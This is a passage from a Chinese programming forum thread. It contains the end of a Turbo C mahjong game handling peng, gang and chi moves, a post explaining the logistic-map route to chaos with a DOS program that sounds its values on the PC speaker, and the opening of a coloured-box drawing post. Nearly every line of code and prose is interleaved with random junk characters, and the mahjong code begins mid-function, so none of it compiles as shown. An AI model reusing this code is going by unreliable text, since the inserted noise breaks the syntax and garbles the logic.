if(every==9)/ j& w# \( v. c; @
{
1 {0 R5 K( D( @6 vx1=200;1 o$ z! w/ v& _/ X: D& v) E1 I7 E
y1=165;
) P) \; T! B+ G) A) z* m8 _fillRectangle(x1,y1,x1+20,y1+4,0);
# [5 {  c1 d- _4 `# x+ M}. [- h; r( g! E5 c2 {
if(every==10)
+ [* E9 R, U0 p/ @+ x{
+ C7 s% y% L6 r$ c! z8 J3 {: d4 hx1=220;1 O5 U3 X" i6 A0 V" U9 U* m  |
y1=165;# T' K$ P0 t( X! z
fillRectangle(x1,y1,x1+20,y1+4,0);+ |$ r# Q3 Q( N7 _* J
}
2 T' j" O( }  n* sif(every==11)
& O$ `- X" E- H" T% W6 F) }  V# L{( D4 ~) A. S- O: d5 q
x1=240;
( o8 E# G, z! yy1=165;
- [4 }' B7 Y  yfillRectangle(x1,y1,x1+20,y1+4,0);* |  s/ N( c  \- `  G: Y
}" h5 ]6 J2 g9 U& ^/ W
if(every==12)
$ k) W% m% V5 v- |( s! q{
3 P1 w' i& O; }2 I8 n! y( nx1=260;
1 S; ~+ T% N5 f" Ay1=165;7 ?+ G" z/ m3 d+ d% r, @
fillRectangle(x1,y1,x1+20,y1+4,0);
) }" s" L5 c3 h6 G}
& N  D! Q# j$ N
8 ~/ o+ }  \( @; c) }- izz=0;. c/ [  g, J5 Q/ Q! M
every++;7 F6 W+ h+ T7 g! h3 ]; N
z=z+20;( _3 ?4 `3 C8 b; a! z
}( m' ]  f! s- ~0 M7 _* X) ?) x0 P
showbmp(every);: W  F  j1 S+ y; ]+ Y* c
key=keyy;3 [: q: e; h6 E5 X- k# Y) }
if(keyy==ENTER)2 C2 p" B% V1 h
{- \$ B% s- H' J: m
rgzn(every); /*********************/$ p* e  w  ^+ E6 B0 Z* z' ^
if(sing==1) /*如果可以乓,做相应的处理*/
/ R. x  {! D' a. j& E/ V8 \{ - s/ S, ]3 `4 u; }! Q
kkk=0;
9 l/ I3 }) R# lkkkk=0;" x( b5 A) L- ?' ?
while(kkk&lt;=computer.m)6 q) Q% }( [& S; h
{
' i1 }8 L: o) Y& E: kif(computer.pp[kkk].p!=1)
6 G1 ~& K  U+ F& G  U' Y) P1 S4 P{0 k! V2 u# E- c& k) l6 m8 }+ |
comp.pp[kkkk].k=computer.pp[kkk].k;
9 v8 n! ]/ \$ l3 C2 J  N( x7 {% h" ycomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
; t5 x! D( l# D- A; L7 @  w. H! Hcomp.pp[kkkk].number=computer.pp[kkk].number;
3 S& H, C5 Z  n% \2 n' {kkkk++;/ f7 J$ ]2 ]" \7 Y8 u
}  ~  M; J# n+ Y" B& ?8 q; @3 Y
else3 Z0 T1 C$ }1 f  k) i
{. z* ^( |$ Z- W" E  B
m[computer.pp[kkk].number].data1=1;
  B3 t0 W% T! E; e# Udwei=computer.pp[kkk].number;. V( {# h* J6 ^* t) O: K3 u
computer.pp[kkk].p=0;9 X& J/ ^/ i' [
}
; n5 h6 @( L- P, @5 Y' ^) dkkk++;  G$ X" O5 E. }/ A' O; s0 b4 [& E
}
, F9 i4 s. q) ^5 oll=0;
1 T, v! v$ Y7 Y- u1 ~2 T/ F
3 n- a' |' g5 B+ E6 n9 uwhile(ll&lt;3)
% Z, \- ^! K# @' X3 v1 z2 F{ zl=zl+20;0 C4 x' \+ ]+ J  i
bmpp(dwei); /*显示乓的牌*/
4 F0 B+ B/ e0 E3 z0 L! p0 yll++;
/ _, ~  R1 V- c; K! d% r; d, }}
. O" p9 Z* e# Q* h4 V! P7 Q$ {8 p
, u3 k0 |  X' Uzl=zl+9600-60;# N7 B: n9 \( L' k1 q2 {
kkk=0;
3 c4 P4 T4 d1 q; Dcomputer.m=computer.m-2;: t# o) ?% \$ m
while(kkk&lt;=computer.m)
0 F) p7 S( M, D' V% U- M& }{& p4 c/ M) y7 }: K  r$ j5 D
computer.pp[kkk].k=comp.pp[kkk].k;  R! Z: R6 @. P/ r  S/ W# l0 j
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;" o9 l- P+ m5 O* a8 c$ g9 _+ ~9 _
computer.pp[kkk].number=comp.pp[kkk].number;& _9 g* Z, x. g- E" U# \
kkk++;! l/ ^% ^1 z4 F/ R% D: o
}+ ?: M  `! M% u# R
ll=0;
" |. x: ?. C8 K: R* f( Ctemp=random(computer.m); /*出牌等待完善*/. z/ L2 l- {/ {5 Z% j" G3 b$ ]) d
zyy=zyy+9280+20;7 Z2 i! M) r& {5 s9 y6 Y/ i
showcbmp(temp);3 [% n+ ~, g5 H8 a
zyy=zyy-9280;
7 V: m* D6 U; L. Z. ?+ n: S/*****/- g/ u4 C0 s8 g" d
rgznme(temp);
0 u; j8 d' }% upanduan();! E6 i0 u) L+ p4 a
if(me.m==0)
& `* p6 B8 |. Z) a1 `+ {" ^' `# ]if(second==1 &amp;&amp; threes==0)
; w; H# V3 F- x2 `& Dprintf("you win!");8 x- E3 }3 m: d# U- l
if(me.m==3)% u( D" o2 M, R
if(second==1 &amp;&amp; threes==1)
2 r: Q" y# f0 T4 P& f5 A4 G5 @printf("you win!");  Z9 O! s) ~$ N* e! b
if(me.m==6)  O3 c5 e2 C. G8 Z& x
if(second==1 &amp;&amp; threes==2)- x- \+ v/ [! @6 n' V) _/ _
printf("you win!");
- _4 g1 ]. B7 r$ Gif(me.m==9)
: |7 w2 W* @1 W2 Y$ Yif(second==1 &amp;&amp; threes==3)1 {8 B! \# A! T3 D/ U/ d
printf("you win!");
9 ^+ p. e, _2 i4 |6 \  I; s$ A8 }& W& `if(me.m==12)
& n! s' k% X3 E: c- z+ p1 r3 Mif(second==1 &amp;&amp; threes==4)
4 G) J. F$ T' V8 J, q( Y6 tprintf("you win!");& v+ _" j3 L- a3 a# i2 x
% Y: @% c; B" o7 ~6 O' @
kkk=0;# `* Y- K9 N! O! \7 a% r- [- G
kkkk=0;* E7 e# Q; H+ F' X
while(kkk&lt;=computer.m)
8 T  |/ x# |# ]) l{4 e4 F( K1 K' }, q/ h( B& F( C
if(kkk!=temp)
; Y) w% @" t3 u1 H{
8 D/ R3 x7 q' N4 I" I. l- v1 h' J! Tcomp.pp[kkkk].k=computer.pp[kkk].k;
2 {- R0 r, ]5 ~' |1 j) t+ Gcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;3 m$ Q5 F+ W/ l/ n
comp.pp[kkkk].number=computer.pp[kkk].number;
/ D- {2 Z6 Z) u: pkkkk++;
# y; d0 q7 H5 Z8 l( R}; n) s: D* G9 n. M" u- b/ z8 }# g# [
else
6 E4 k# z" o0 \+ I  gm[computer.pp[kkk].number].data1=1;4 C0 D6 b. |1 o. T; `$ c: i3 }
kkk++;( ^# @- u) I, M0 z% u7 I
}+ B( @4 \6 o" X2 D# o/ C
kkk=0;
. x/ D% ~' J2 \4 |1 @. @9 q0 pcomputer.m=computer.m-1;. R1 ^( J; u/ i4 E
while(kkk&lt;=computer.m)
$ `; Z* k3 x. W{
  k, Z: X9 s( ^, |computer.pp[kkk].k=comp.pp[kkk].k;
) f" P0 }+ I# a) h, ^computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;9 v. I# Z% N5 Z+ p% W3 \: d
computer.pp[kkk].number=comp.pp[kkk].number;' [" G, t% Z, V3 Q' H, r
kkk++;
/ S0 g5 S- t1 F}9 w* r" O1 l! m, M* ]) p0 D  @
fillRectangle(0,0,320,30,0);6 ?+ e  x/ V1 c0 ?" E+ Q, S( H( h* n
n=computer.m;
1 o: e6 z- [! m: F& h0 c( ill=0;9 s. H# r4 a& Y5 d* Q, w; ]
zy=0;
& z, N$ z5 A  W/ L3 I, M6 iwhile(ll&lt;=n)
- t) R! h5 a; k$ o* c# a{" ]: W% J- Z# y6 U; P4 g
zy=zy+20;0 D' ?( W9 G- h7 y  |* k+ m5 ]
showybmp(ll);' O8 P3 Z( A( [. g" C
ll++;
) P) g, p: u' W/ {}4 c! S( a! ?% K! M% ]
ll=0;0 l! I! B3 S  F$ ^  s
getch();5 ~( Y& D6 p2 G; L+ L
sing=0;
( F8 S  K. q) j" l8 S, zsing1=1;
( a: `; @0 U8 c' j1 \" d- R8 H}4 }7 k: a/ j! q3 i8 B0 O  C3 b
. x7 r+ `/ X5 X' p( h0 m- E! r3 p
if(sing==2) /*如果可以杠的做相应处理*/( U" F. z4 J% H; f8 S* X
{
, N( H1 T4 a( Qkkk=0;
! C$ D  U/ e% Y) T3 Qkkkk=0;
) N  f# A5 w8 Mwhile(kkk&lt;=computer.m)
1 C; N4 M: q% a8 b, o( C{$ C) a9 E! j& {# O8 c# U8 f- s
if(computer.pp[kkk].g!=1)
  |8 N1 w* A2 N: F( h{7 j+ w; o8 l  R: j: ~
comp.pp[kkkk].k=computer.pp[kkk].k;
: R# ~; ~7 V  e/ ~1 [- q9 Pcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;  D$ s" ?8 {# o; l2 Z* I/ [$ J- D
comp.pp[kkkk].number=computer.pp[kkk].number;
' E* ]& c( i4 {$ o4 m9 x5 }kkkk++;
/ s. z2 X# a' y) m6 H}
2 a6 c9 v4 i! A$ Y# C; u, delse
, o1 O3 {& P- v$ y0 d{: ]. |4 B4 T0 C) z
m[computer.pp[kkk].number].data1=1;0 W+ P4 o% [* }' f
dweig=computer.pp[kkk].number;' M5 U. A, k3 C4 e; g) A- L4 j
computer.pp[kkk].g=0;
9 }! i2 u0 o  \3 l/ w3 s}- h' ^% i/ L( Y% B$ \
kkk++;6 |* k9 z% i6 |8 I) l5 u
}; J# J4 Z7 J) x, h
ll=0;# T) F& E& e. g+ ]# O
1 l! @( x+ I( ?' f) U/ e
while(ll&lt;=3)
' e3 U  p* J0 A* }( N& X: h{ zl=zl+20;" Q% Y( _% w; m: G; ~$ k& o- A
bmpp(dweig); /*显示杠的牌*/* K. Q7 y  f  U& ^' d  h
ll++;
0 R8 r% E# c  E* J2 l) m2 N9 h2 U% ]}
; t5 X. R1 b9 M9 r3 O1 tzl=zl+9600-60;
- C# ?. h; i# g7 ]1 }kkk=0;
" U- D5 y! P# z, N$ C  ?computer.m=computer.m-3;
! q6 p1 L2 B- I2 [9 o$ ?, Iwhile(kkk&lt;=computer.m)
; m- H- I  s8 P: |{8 ?8 {: Q; }/ t, P
computer.pp[kkk].k=comp.pp[kkk].k;
4 t9 }  J0 t: B, c5 Ycomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;3 ]# h& a1 d$ p3 \& d9 `2 Z
computer.pp[kkk].number=comp.pp[kkk].number;$ u$ R  w# Y; K% R, ~- B
kkk++;
5 u7 u% q3 r* s" i}
" s7 p( M( O& a0 Q5 K2 Z/ D6 U8 akk=0;  a3 O; D2 \. O0 A
computer.m++; /*加一个牌的容量*/9 H- h; p$ ^5 B+ b% |
while(kk!=1)
% L: P; [5 B4 J4 C0 G- Z{% k, g2 L. u3 i& y
temp=random(136); /*出牌*/
7 v5 j$ d; i" c4 qif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)! F" ~" b" ^6 W" x3 j/ S
{  q, {$ Q! I6 F0 x5 E  O
computer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/$ C6 G( }2 A1 o2 ?4 K
computer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
- x1 N' ]& a  S, }0 [# h6 z4 zcomputer.pp[computer.m].number=temp; /*第几张,用来排序*/: H1 i2 [1 g( V- ~: \6 M
m[temp].data2=2; /*判断牌是谁的,2为电脑*/
7 l0 O1 N7 ]0 d  t% a% b- nkk=1;
( u: F) b; n9 d2 r: V( o}
! \" c& [7 k9 v; d8 i2 i}
7 {9 p6 I2 j2 z( n2 k" \  L, lcomlipai();
" R6 x& Z) T+ Ttemp=random(computer.m); /*出牌,等待完善*/1 e0 v* r, \, x+ L  G. f/ s/ m/ G
zyy=zyy+9280+20;7 V$ o& v3 _# M6 [* k: I* n- x
showcbmp(temp);
3 b% b$ c% l% N  a; _zyy=zyy-9280;8 e7 Z2 O, L8 i) [3 b' \; K( r
/*****/+ m# @$ _' o) N* h& k( O
rgznme(temp);2 I! v9 W: D' U# _3 i2 H
panduan();5 M9 B& I  r5 N& K; }; ^; A
if(me.m==0)0 \: }* V& C) q/ A) Z* |+ y/ H
if(second==1 &amp;&amp; threes==0), q/ \, z0 d4 R1 Z' a. |' X
printf("you win!");2 o+ B: t' N- D: C0 n4 A' r
if(me.m==3)
* a: y+ \5 K( _# [6 T3 aif(second==1 &amp;&amp; threes==1)
- O3 I" ]! q6 A* ]$ Jprintf("you win!");
. Y' m: `' I, Q, {1 R, gif(me.m==6)
1 W  D3 L4 K( N0 z8 sif(second==1 &amp;&amp; threes==2)5 l9 W& }* x6 q  N8 q- _' V
printf("you win!");3 V/ s9 `( a/ c3 |# R
if(me.m==9)
; p2 _& N. D* C6 f, d' [if(second==1 &amp;&amp; threes==3)  I  a! M5 W# _4 t
printf("you win!");1 V8 Z  u4 L- W- T
if(me.m==12)
6 A: j) a/ C+ p+ e) r. T: v+ ^if(second==1 &amp;&amp; threes==4)
5 C5 O# G: s4 K! oprintf("you win!");/ J) p* k! A/ b- N% x2 Q

8 Z+ ]! X% \! m! A: ?# mkkk=0;3 j% f/ M7 }* y( c0 d  g6 m
kkkk=0;
- W& W/ t' X, K5 A( b" \9 Ewhile(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/4 m: \4 \8 ], t% H
{
# }8 h3 L  L4 ?& r5 L0 pif(kkk!=temp); @9 C  S! Y9 ^5 }" B7 h* @7 ^0 n
{
$ q  {7 Y$ z3 n/ f5 o$ `comp.pp[kkkk].k=computer.pp[kkk].k;% ^8 C% g1 b. g% m6 `: O
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;5 D$ _! K* \  B' z' t
comp.pp[kkkk].number=computer.pp[kkk].number;
- u0 s. i' F2 w& }7 a2 i  X" nkkkk++;
5 N" w3 z, b" n9 s6 S}
- l. z2 g2 y! N& W7 G" g- [  `else. y& E* v3 O/ k  `" B& D3 I( E3 c
m[computer.pp[kkk].number].data1=1;  L/ L* A7 @3 G8 x+ P- Q+ x
kkk++;' d5 m- {9 M. W/ T* \
}
- [2 W% n2 f. r' gkkk=0;0 }. G/ M$ u" {1 ], q7 {6 I  \* W# H
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
% v, r' y+ ?6 m" G9 w, ?while(kkk&lt;=computer.m)   v8 T- _, r) R# y6 Y
{
3 W: o/ @& u8 U( S8 Q4 L! Ocomputer.pp[kkk].k=comp.pp[kkk].k;
" k6 P( J6 c& jcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;) d2 S) ^$ Q# z! b
computer.pp[kkk].number=comp.pp[kkk].number;- x1 k- j1 K: q) m" G
kkk++;5 [+ E4 _/ ]; _) r
}
& r! e; ^5 w3 B& n3 h+ jfillRectangle(0,0,320,30,0);* J0 h; a2 O& |0 }; M
ll=0;
& K4 r  M( ]# @3 m* gzy=0;
, B7 l2 Q: y" y1 C* swhile(ll&lt;=computer.m)1 O# i5 k0 ]+ h& j
{
7 c- m) X6 x7 E: B2 U( nzy=zy+20;
1 Y: t$ {0 c8 b# hshowybmp(ll);
) S4 l2 T8 D% g& I  S; s+ T) Ell++;
/ N! d/ J( p% ~- |9 E}
2 n+ _% t/ H; h  ?# Jsing=0;0 g$ }; m0 T6 J/ j( E- p& n
sing1=1;* a* L" X. J, Z4 B) E! |' U6 u
}% F( D0 [; J5 b- r" x- D3 k
if(sing==7) /*如果可以吃的,做相应处理*/
: h0 O4 Y. Z0 k, v* _1 i{ nn=0;7 G; v. J7 \8 m/ S3 |& N' }  J
kkk=0;
7 y4 @" Z* b, h5 Z6 h9 pkkkk=0;3 F) r, L- N" F9 @& D
while(kkk&lt;=computer.m)
2 m* f% |- W- ~{+ V: G8 {7 h- e1 k
if(computer.pp[kkk].c!=1)
; u9 P! i8 Z! L{
: b, k) E5 z0 j. N- J) Ncomp.pp[kkkk].k=computer.pp[kkk].k;
, X& w) U4 m) Hcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;% D- N# G/ L. p2 B, z: Q  @) B
comp.pp[kkkk].number=computer.pp[kkk].number;( ~/ s3 y* y/ N, i* o( B
kkkk++;3 L+ |* D3 l- ~, A4 O
}* \$ x5 S7 s( J
else* H$ M+ G: m+ V
{
# Q5 j- q  d& z1 Z/ km[computer.pp[kkk].number].data1=1;! O0 [5 L% J: m. k* U% k
dw[nn++]=computer.pp[kkk].number;' s4 _! `' f( X/ Z9 S) a
computer.pp[kkk].c=0;4 g* A/ l- C, {7 o
}
7 ]* y3 w) p1 v- j* x- fkkk++;" ~* ?; X! t. E  O
}
- m6 P7 O3 K$ f! |' p2 v" g0 I% z/ B9 i; _
if(me.pp[every].number&lt;dw[0])
- n' Y; X, F5 k/ z5 x4 o- I6 J{2 u2 l  j* K' F' p$ f
dw[2]=dw[1];% Z* T% g; J, T' l; [  O7 H
dw[1]=dw[0];
! \7 ?1 l# W; P' Q$ f& {dw[0]=me.pp[every].number;
# s# ~0 t/ }8 D}* w6 ?4 q7 l' a+ T' p: k
if(me.pp[every].number&gt;dw[1])
% a, T2 b' ?; O& J9 j{
0 r, h$ D" J" \0 K, W2 g" x; wdw[2]=me.pp[every].number;" Y$ x( Q7 k0 W* u1 t. K
}8 }( d" E, W: }, C: N  {' p
if(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
1 Y( S5 m1 u$ N3 K) Z( y{* X8 l% o! g( a8 m5 ^& d7 B
dw[2]=dw[1];4 N" C9 u: c* P; `( n3 X
dw[1]=me.pp[every].number;
- c5 p/ v/ ?4 w* _}# L7 G" h* M; P7 x
nn=0;
$ y  P$ Y! J6 {while(nn&lt;3)7 ?4 k, W0 H4 \% v3 x" v1 ?
{ zl=zl+20;1 d" r% T" L/ s" m
bmpp(dw[nn]); /*显示吃的牌*/
7 u, ^( G) b% P3 E0 Xnn++;8 e2 c( B1 a# e& O
}6 G( B9 f( i) p& D* X( M+ t) O. u
zl=zl+9600-60;
2 u& l& _$ _. U) Q! d: s, U7 @kkk=0;# ~& L0 c' w' K4 e# y
computer.m=computer.m-2;
/ {# U3 w" M0 I  K. A. w" m& r) ~: ^while(kkk&lt;=computer.m)2 \! |6 t9 Y/ g+ P, \
{7 l3 ~% e7 T, N$ v
computer.pp[kkk].k=comp.pp[kkk].k;
$ U3 ~7 l& [2 b/ _! n) [& T0 vcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;. c/ o1 ~7 C$ q9 u; I. E$ a$ h
computer.pp[kkk].number=comp.pp[kkk].number;2 k! S) i6 l" m6 p2 v3 C/ B+ T
kkk++;, A/ C( r! S6 b0 Z' f% s
}
3 V  D# V9 W8 x- n% V# N0 }* {- [ll=0;  {8 |  f) D, y# k% n
temp=random(computer.m); /*出牌等待完善*/
/ [: R0 v# F3 `. tzyy=zyy+9280+20;& }0 e+ b- ]5 m' a$ [6 L/ @3 t/ y
showcbmp(temp);% a& q% w1 g7 P8 ~3 J3 L' x: D# n0 Q
zyy=zyy-9280;+ M3 \: X3 Z2 x0 f4 B& Q9 U+ k! |
/*****/
$ m2 _9 j; R& ^& X6 b. brgznme(temp);
# H0 _7 H' n! B$ C+ `2 J. Lpanduan();/ ]6 r0 }' S+ ~% e& ~
if(me.m==0)0 E& c9 V" B4 g- k8 t* O! \
if(second==1 &amp;&amp; threes==0)
2 u( z( \5 Z0 g( o, rprintf("you win!");
6 {+ }7 i1 u/ ]+ d/ S" F# Cif(me.m==3)
( D$ v& o/ ]+ r" i/ w6 [. v9 Jif(second==1 &amp;&amp; threes==1)3 l2 x  a& V$ ?
printf("you win!");
( z' Q' T! y% ?% ?if(me.m==6)+ k0 n8 D. X, S* S6 d# H6 v, K8 A
if(second==1 &amp;&amp; threes==2)
; k. ]  g0 b) k3 K% ~' Pprintf("you win!");
0 ^1 W/ R9 B, Gif(me.m==9)
7 H* F6 T+ x# w& U8 G- M. l7 f) wif(second==1 &amp;&amp; threes==3)
* [/ y+ X% D" c2 K: s/ q" x3 E0 Nprintf("you win!");
* `1 K* q- N# Y% `if(me.m==12)% u5 N, f: R$ r: E
if(second==1 &amp;&amp; threes==4)9 I2 p/ q. b6 ^/ a* m/ N
printf("you win!");9 I9 {+ K1 |/ G4 v! X. \3 L
( X+ h1 S9 |- ~9 E4 h
kkk=0;/ k8 }1 C6 S  C
kkkk=0;5 }- ~% c/ r. q3 L5 h
while(kkk&lt;=computer.m)2 _. [8 f+ Q# q) I
{# I) d2 M+ @0 g8 A0 [" h: R
if(kkk!=temp)
- _7 e7 U* }, a( S1 K4 u) R  W{& j5 a1 a, z* Y2 o1 {& w
comp.pp[kkkk].k=computer.pp[kkk].k;
+ L: A4 r$ B; z; u( i; k6 Acomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
+ x5 _* u' ~2 G" Xcomp.pp[kkkk].number=computer.pp[kkk].number;' d/ L9 k: v, c* _& Z4 M4 f+ N0 C" s
kkkk++;
3 z' d; P# h9 H. O2 q}
) `7 f) k4 G. e' M' d: welse
" k; \% e1 |6 N( B- zm[computer.pp[kkk].number].data1=1;
1 y/ M3 b7 t+ ?; @kkk++;
+ s* w% h$ g$ t/ N& a}
+ `+ q/ X9 _, z6 t3 d" rkkk=0;
1 [, j! c3 B: \. b0 i/ Z& `/ G) q$ A- ycomputer.m=computer.m-1;
$ r% B' T5 b# z( Y( swhile(kkk&lt;=computer.m)
' z% ]; J  x: o0 o8 V1 g{* f4 ^) A# w  d. s' f  k; a. C
computer.pp[kkk].k=comp.pp[kkk].k;
6 U  d& _0 ?) m( x: ?8 scomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
; {/ ~# l# H: m- I; o- o% fcomputer.pp[kkk].number=comp.pp[kkk].number;4 q% N- V% s5 L4 o; W' T$ ^
kkk++;
) v/ _, ~8 K  d! C- _. j8 F}0 K% q# t2 F( g$ l8 l! ?
fillRectangle(0,0,320,30,0);+ c( Y& {$ k8 j+ F  u
n=computer.m;
* F% x8 z5 V3 ill=0;
" J: a9 W6 x. W# M" tzy=0;- L- ^; i1 s# ?; F" W6 M2 q- H. `$ K
while(ll&lt;=n)
" C' n7 d  U# }' |& }{, _& r5 c8 x& r" B: F
zy=zy+20;. K, T. m7 T* a8 K# Q  S; g
showybmp(ll);
, B& x; k" s5 v6 h* }" C5 q' f3 vll++;
: J' r0 z8 P& ?}" G% E0 o: E& s
- H9 m) C2 D1 E% O* n* G
getch();
4 A0 a$ t9 j  y. T1 Csing=0;
, [. O/ Z  I4 g  ?' J* Jsing1=1;6 R3 C6 L- d- _. g5 a9 {& c; G
}4 m; ]; v# m2 P% f' X/ j
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
$ Y! X, v' Y9 q5 f4 U  b{
9 ?: t) I' J/ B: [kk=0;' R: K% p4 z) Z; O
h=me.pp[every].number;
1 B$ y; ]( ~. am[h].data1=1; /*此牌已经无用*/
8 l9 P* x( O0 F' y# Zif(sing1!=1)
) X8 Q8 W! }0 F( n9 o% H{
0 p! g6 }, d' H% }' i4 Xzyy=zyy+9280+20;
+ w; @" ~, J9 q3 Y4 Pshowbmpd(every);/ @2 P  _5 |. N. H
zyy=zyy-9280;7 {$ r* e/ R6 {( F( T
}/ }/ r* u4 m  \4 J5 R4 c! P
while(kk!=1)! {* L9 X1 c7 E- t0 y
{
* q' Z# U, [9 I! o% F: u8 Ltemp=random(136);# ]' J4 p: ^7 T/ g# W0 Z" B
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
! A6 Z. V# w! j3 q- P! F{; Q$ D8 p4 H: i
me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/" k) U8 K* r! j4 k- a* e
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/- }" r9 ]1 b0 h7 e9 M0 d
me.pp[every].number=temp; /*第几张,用来排序*/+ v) H1 @8 B  i
m[temp].data2=1; /*判断牌是谁的*/% J9 s: }3 z5 S& _& J6 R! D
kk=1;
; o6 i. K0 l4 G9 V5 Y; f! @+ u& `}
, G4 j: Z7 y% v# pif(kk==0) /*判断如果又选择了,就从新再选*/
4 Y+ J0 i1 P: X* g' Tkk=0;  O0 r3 r: w5 q- i2 I3 R
}
$ Q2 X% Z) i+ R8 P}
, x+ Z: j# Q9 o8 R, gsing=0;
* H% F# d+ o" F7 jsing1=0;
( G8 `6 `% z- ^melipai();- V/ b8 z6 a$ f: K) J" c7 o% i
n=13;6 R8 Z, C7 l7 ]3 w, V3 z
z1=54400;
0 z5 x) H' g! X3 ~1 i# G, xl=0;
/ l( E4 }& f+ M+ V/ Rg=z;7 e' s& u' b! D5 O1 b6 q" I
while(l&lt;n); M: F3 g6 P+ T5 i# [
{ z=0;
, O% R6 t9 e" L% _6 K" sz1=z1+20;
, y+ b7 C6 [* Y' g5 x$ e" c$ O* B5 u. Wshowbmp(l);
* ~3 ?/ b8 M1 N/ j+ q; \$ Zl++;
0 F) ]0 S8 t3 w6 Z1 M, }% D/ a! p}
6 T- ]8 V8 b/ T( e* A  U+ h* sz1=0;
. R- D  _. ?! j6 [. ez=g;. N* J3 M  l6 O% m
}) |9 Z+ Z+ q+ b) S
keyy=0;5 m2 q( y: E, e8 b. Z% c0 ^
}
3 R# ~$ S3 a$ @# L3 ~1 v4 s2 j
8 y/ L$ R9 n: F1 t( h- Kgetch();
" W4 K, o/ X. B) \& gOUTVGA;
: {# c5 r" a7 j8 E7 ]}
3 U1 s1 M3 F* o. p* ]( H" }8 Z</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])
+ F0 F  T: P  b: O5 P3 q</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:" S" o- z9 e* q6 y3 f5 M
, Y+ ]# m9 \- j, r
  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。
( F, a3 F# d* {. N4 B- z1 J+ t& r& i  <FONT color=#009900>#include <DOS.H>
6 a5 E8 C( b' w: `7 q  #include <STDIO.H>
  n) }$ l) y- h$ ~  main(){
2 d. b8 p* A! ]  o/ A  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/9 U  I0 L' r) `5 G+ G+ E/ y0 `% }
  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/  P" @( q; X& p6 v# z
  /*i,j用于循环记数*/5 P# _2 E: O# P8 f
  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/
# X4 J5 {$ ~1 |' r  fDis=fMax-fMin;
- z# h- `; l  m- ?  for(j=1;;j++){
2 h3 V5 d! F, u% R/ L6 A& H3 `  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/
  j4 N- T4 U4 j6 U- b7 v' j; Y% y  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/1 G* B9 b' _' g
  scanf("%f",&k);1 ]% x0 ~2 T  Y$ O+ M
  if (k==0) break;- n( K- x: j4 @, C$ P7 H
  for(i=1;i&lt;100;i++) /*去除开始的100个点*/1 g" l7 z# B. g7 T7 R
  x=k*x*(1-x);7 g7 {. S, L  |: A
  for (i=1;i&lt;100;i++){
: b3 `7 Q  q; R) \  x=k*x*(1-x); /*计算x的值*/
* M5 d9 M% c* g+ W9 @% f1 S6 c  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/
( F4 D' a' x( L) }) O  delay(1000); }' G/ W1 P! {3 x4 |2 T" w  X3 m
  nosound(); }}+ R. i9 a) R4 m2 m; R" E
  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。
0 {6 V# y& S6 |不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
  T8 I3 `7 k! n; v7 }5 g<FONT color=#009900>/*
- Y" _5 }, d* k0 Y" U9 u* P*6 [) X3 B6 M% C6 L7 D
* Short driver module" v# E" w$ X) R; w
*
